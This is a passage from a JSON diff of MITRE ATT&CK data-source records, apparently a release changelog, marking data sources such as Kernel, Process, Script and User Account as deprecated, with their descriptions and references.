19:40:29.066000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--38fe306c-bdec-4f3d-8521-b72dd32dbd17", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.275000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0035", + "external_id": "DS0035" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Internet Scan", + "description": "Information obtained (commonly via active network traffic probes or web crawling) regarding various types of resources and servers connected to the public Internet", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "OSINT" + ], + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-25 14:49:51.440000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--8765a845-dea1-4cd1-a56f-f54939b7ab9e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0008", + "external_id": "DS0008" + }, + { + "source_name": "STIG Audit Kernel Modules", + "description": "Unified Compliance Framework. (2016, December 20). The audit system must be configured to audit the loading and unloading of dynamic kernel modules.. Retrieved September 28, 2021.", + "url": "https://www.stigviewer.com/stig/oracle_linux_5/2016-12-20/finding/V-22383" + }, + { + "source_name": "Init Man Page", + "description": "Kerrisk, M. (2021, March 22). INIT_MODULE(2). Retrieved September 28, 2021.", + "url": "https://man7.org/linux/man-pages/man2/init_module.2.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Kernel", + "description": "A computer program, at the core of a computer OS, that resides in memory and facilitates interactions between hardware and software components(Citation: STIG Audit Kernel Modules)(Citation: Init Man Page)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Host" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-25 14:49:57.731000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--4358c631-e253-4557-86df-f687d0ef9891", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0028", + "external_id": "DS0028" + }, + { + "source_name": "Microsoft Audit Logon Events", + "description": "Microsoft. (2021, September 6). Audit logon events. Retrieved September 28, 2021.", + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/basic-audit-logon-events" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Logon Session", + "description": "Logon occurring on a system or resource (local, domain, or cloud) to which a user/device is gaining access after successful authentication and authorization(Citation: Microsoft Audit Logon Events)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Cloud Control Plane", + "Host", + "Network" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "Linux", + "SaaS", + "Windows", + "macOS", + "Office Suite", + "Identity Provider", + "ESXi" + ], + "x_mitre_version": "1.2", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-18 15:12:19.778000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--b86d9b40-5fbe-4ef1-8dc3-263eff26f495", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.271000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0004", + "external_id": "DS0004" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Malware Repository", + "description": "Information obtained (via shared or submitted samples) regarding malicious software (droppers, backdoors, etc.) used by adversaries", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "OSINT" + ], + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.1", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-16 20:39:11.272000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--f424e4b4-a8a4-4c58-a4ae-4f53bfd08563", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0011", + "external_id": "DS0011" + }, + { + "source_name": "Microsoft LoadLibrary", + "description": "Microsoft. (2018, December 5). LoadLibraryA function (libloaderapi.h). Retrieved September 28, 2021.", + "url": "https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya" + }, + { + "source_name": "Microsoft Module Class", + "description": "Microsoft. (n.d.). Module Class. Retrieved September 28, 2021.", + "url": "https://docs.microsoft.com/en-us/dotnet/api/system.reflection.module" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Module", + "description": "Executable files consisting of one or more shared classes and interfaces, such as portable executable (PE) format binaries/dynamic link libraries (DLL), executable and linkable format (ELF) binaries/shared libraries, and Mach-O format binaries/shared libraries(Citation: Microsoft LoadLibrary)(Citation: Microsoft Module Class)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Host" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-25 14:40:06.151000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--221adcd5-cccf-44df-9be6-ef607a6e1c3c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0023", + "external_id": "DS0023" + }, + { + "source_name": "Microsoft Named Pipes", + "description": "Microsoft. (2018, May 31). Named Pipes. Retrieved September 28, 2021.", + "url": "https://docs.microsoft.com/en-us/windows/win32/ipc/named-pipes" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Named Pipe", + "description": "Mechanisms that allow inter-process communication locally or over the network. A named pipe is usually found as a file and processes attach to it(Citation: Microsoft Named Pipes)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Host" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-25 14:49:53.223000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--ba27545a-9c32-47ea-ba6a-cce50f1b326e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0033", + "external_id": "DS0033" + }, + { + "source_name": "Microsoft NFS Overview", + "description": "Microsoft. (2018, July 9). Network File System overview. Retrieved September 28, 2021.", + "url": "https://docs.microsoft.com/en-us/windows-server/storage/nfs/nfs-overview" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Network Share", + "description": "A storage resource (typically a folder or drive) made available from one host to others using network protocols, such as Server Message Block (SMB) or Network File System (NFS)(Citation: Microsoft NFS Overview)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Host" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-25 14:40:03.613000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0029", + "external_id": "DS0029" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Network Traffic", + "description": "Data transmitted across a network (ex: Web, DNS, Mail, File, etc.), that is either summarized (ex: Netflow) and/or captured as raw data in an analyzable format (ex: PCAP)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Cloud Control Plane", + "Host", + "Network" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)", + "ExtraHop" + ], + "x_mitre_domains": [ + "ics-attack", + "mobile-attack", + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "Linux", + "Windows", + "macOS", + "Android", + "iOS", + "ESXi" + ], + "x_mitre_version": "1.2", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-18 15:11:13.424000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--3bef4799-906c-409c-ac00-3fb7a1e352e6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0021", + "external_id": "DS0021" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Persona", + "description": "A malicious online profile representing a user commonly used by adversaries to social engineer or otherwise target victims", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "OSINT" + ], + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-25 14:49:58.095000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--06bb1e05-533b-4de3-ae87-9b99910465cf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0014", + "external_id": "DS0014" + }, + { + "source_name": "Kube Kubectl", + "description": "kubernetes. (n.d.). kubectl. Retrieved October 13, 2021.", + "url": "https://kubernetes.io/docs/reference/kubectl/kubectl/" + }, + { + "source_name": "Kube Pod", + "description": "kubenetes. (n.d.). Pod v1 core. Retrieved October 13, 2021.", + "url": "https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.19/#pod-v1-core" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Pod", + "description": "A single unit of shared resources within a cluster, comprised of one or more containers(Citation: Kube Kubectl)(Citation: Kube Pod)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Container" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-25 14:49:58.983000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0009", + "external_id": "DS0009" + }, + { + "source_name": "Microsoft Processes and Threads", + "description": "Microsoft. (2018, May 31). Processes and Threads. Retrieved September 28, 2021.", + "url": "https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Process", + "description": "Instances of computer programs that are being executed by at least one thread. Processes have memory space for process executables, loaded modules (DLLs or shared libraries), and allocated memory regions containing everything from user input to application-specific data structures(Citation: Microsoft Processes and Threads)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Host" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_domains": [ + "ics-attack", + "mobile-attack", + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS", + "Android", + "iOS", + "ESXi" + ], + "x_mitre_version": "1.2", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-18 15:10:24.655000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--c9ddfb51-eb45-4e22-b614-44ac1caa7883", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.271000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0003", + "external_id": "DS0003" + }, + { + "source_name": "Microsoft Tasks", + "description": "Microsoft. (2018, May 31). Tasks. Retrieved September 28, 2021.", + "url": "https://docs.microsoft.com/en-us/windows/win32/taskschd/tasks" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Scheduled Job", + "description": "Automated tasks that can be executed at a specific time or on a recurring schedule running in the background (ex: Cron daemon, task scheduler, BITS)(Citation: Microsoft Tasks)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Container", + "Host" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Containers", + "Linux", + "Windows", + "macOS", + "ESXi" + ], + "x_mitre_version": "1.1", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-25 14:40:05.238000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--12c1e727-7fa4-49b6-af81-366ed2ce231e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0012", + "external_id": "DS0012" + }, + { + "source_name": "FireEye PowerShell Logging", + "description": "Dunwoody, M. (2016, February 11). Greater Visibility Through PowerShell Logging. Retrieved September 28, 2021.", + "url": "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html" + }, + { + "source_name": "Microsoft AMSI", + "description": "Microsoft. (2019, April 19). Antimalware Scan Interface (AMSI). Retrieved September 28, 2021.", + "url": "https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal" + }, + { + "source_name": "Microsoft PowerShell Logging", + "description": "Microsoft. (2020, March 30). about_Logging_Windows. Retrieved September 28, 2021.", + "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows?view=powershell-7" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Script", + "description": "A file or stream containing a list of commands, allowing them to be launched in sequence(Citation: Microsoft PowerShell Logging)(Citation: FireEye PowerShell Logging)(Citation: Microsoft AMSI)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Host" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "ESXi" + ], + "x_mitre_version": "1.2", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-18 15:12:42.967000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--4523e7f3-8de2-4078-96f8-1227eb537159", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0013", + "external_id": "DS0013" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Sensor Health", + "description": "Information from host telemetry providing insights about system status, errors, or other notable functional activity", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Host" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_domains": [ + "enterprise-attack", + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS", + "Android", + "iOS" + ], + "x_mitre_version": "1.1", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-16 20:39:11.418000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--d710099e-df94-4be4-bf85-cabd30e912bb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0019", + "external_id": "DS0019" + }, + { + "source_name": "Microsoft Services", + "description": "Microsoft. (2017, March 30). Introduction to Windows Service Applications. Retrieved September 28, 2021.", + "url": "https://docs.microsoft.com/en-us/dotnet/framework/windows-services/introduction-to-windows-service-applications" + }, + { + "source_name": "Linux Services Run Levels", + "description": "The Linux Foundation. (2006, January 11). An introduction to services, runlevels, and rc.d scripts. Retrieved September 28, 2021.", + "url": "https://www.linux.com/news/introduction-services-runlevels-and-rcd-scripts/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Service", + "description": "A computer process that is configured to execute continuously in the background and perform system tasks, in some cases before any user has logged in(Citation: Microsoft Services)(Citation: Linux Services Run Levels)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Host" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS", + "ESXi" + ], + "x_mitre_version": "1.1", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-25 14:40:04.346000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--6d7de3b7-283d-48f9-909c-60d123d9d768", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0020", + "external_id": "DS0020" + }, + { + "source_name": "Microsoft Snapshot", + "description": "Microsoft. (2021, September 16). Create a snapshot of a virtual hard disk. Retrieved October 13, 2021.", + "url": "https://docs.microsoft.com/en-us/azure/virtual-machines/linux/snapshot-copy-managed-disk" + }, + { + "source_name": "Amazon Snapshots", + "description": "Amazon. (n.d.). Amazon EBS snapshots. Retrieved October 13, 2021.", + "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSSnapshots.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Snapshot", + "description": "A point-in-time copy of cloud volumes (files, settings, etc.) that can be created and/or deployed in cloud environments(Citation: Microsoft Snapshot)(Citation: Amazon Snapshots)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Cloud Control Plane" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-25 14:49:55.198000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--0b4f86ed-f4ab-46a3-8ed1-175be1974da6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.271000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0002", + "external_id": "DS0002" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "User Account", + "description": "A profile representing a user, device, service, or application used to authenticate and access resources", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Cloud Control Plane", + "Container", + "Host" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Containers", + "IaaS", + "Linux", + "SaaS", + "Windows", + "macOS", + "Office Suite", + "Identity Provider", + "ESXi" + ], + "x_mitre_version": "1.2", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-18 15:09:38.667000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--b0b6d26f-3747-4444-ac7a-239a6ff80cb5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.275000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0034", + "external_id": "DS0034" + }, + { + "source_name": "Amazon S3", + "description": "Amazon. (n.d.). Amazon S3. Retrieved October 13, 2021.", + "url": "https://aws.amazon.com/s3/" + }, + { + "source_name": "Google Cloud Storage", + "description": "Google. (n.d.). Cloud Storage. Retrieved October 13, 2021.", + "url": "https://cloud.google.com/storage" + }, + { + "source_name": "Azure Blob Storage", + "description": "Microsoft. 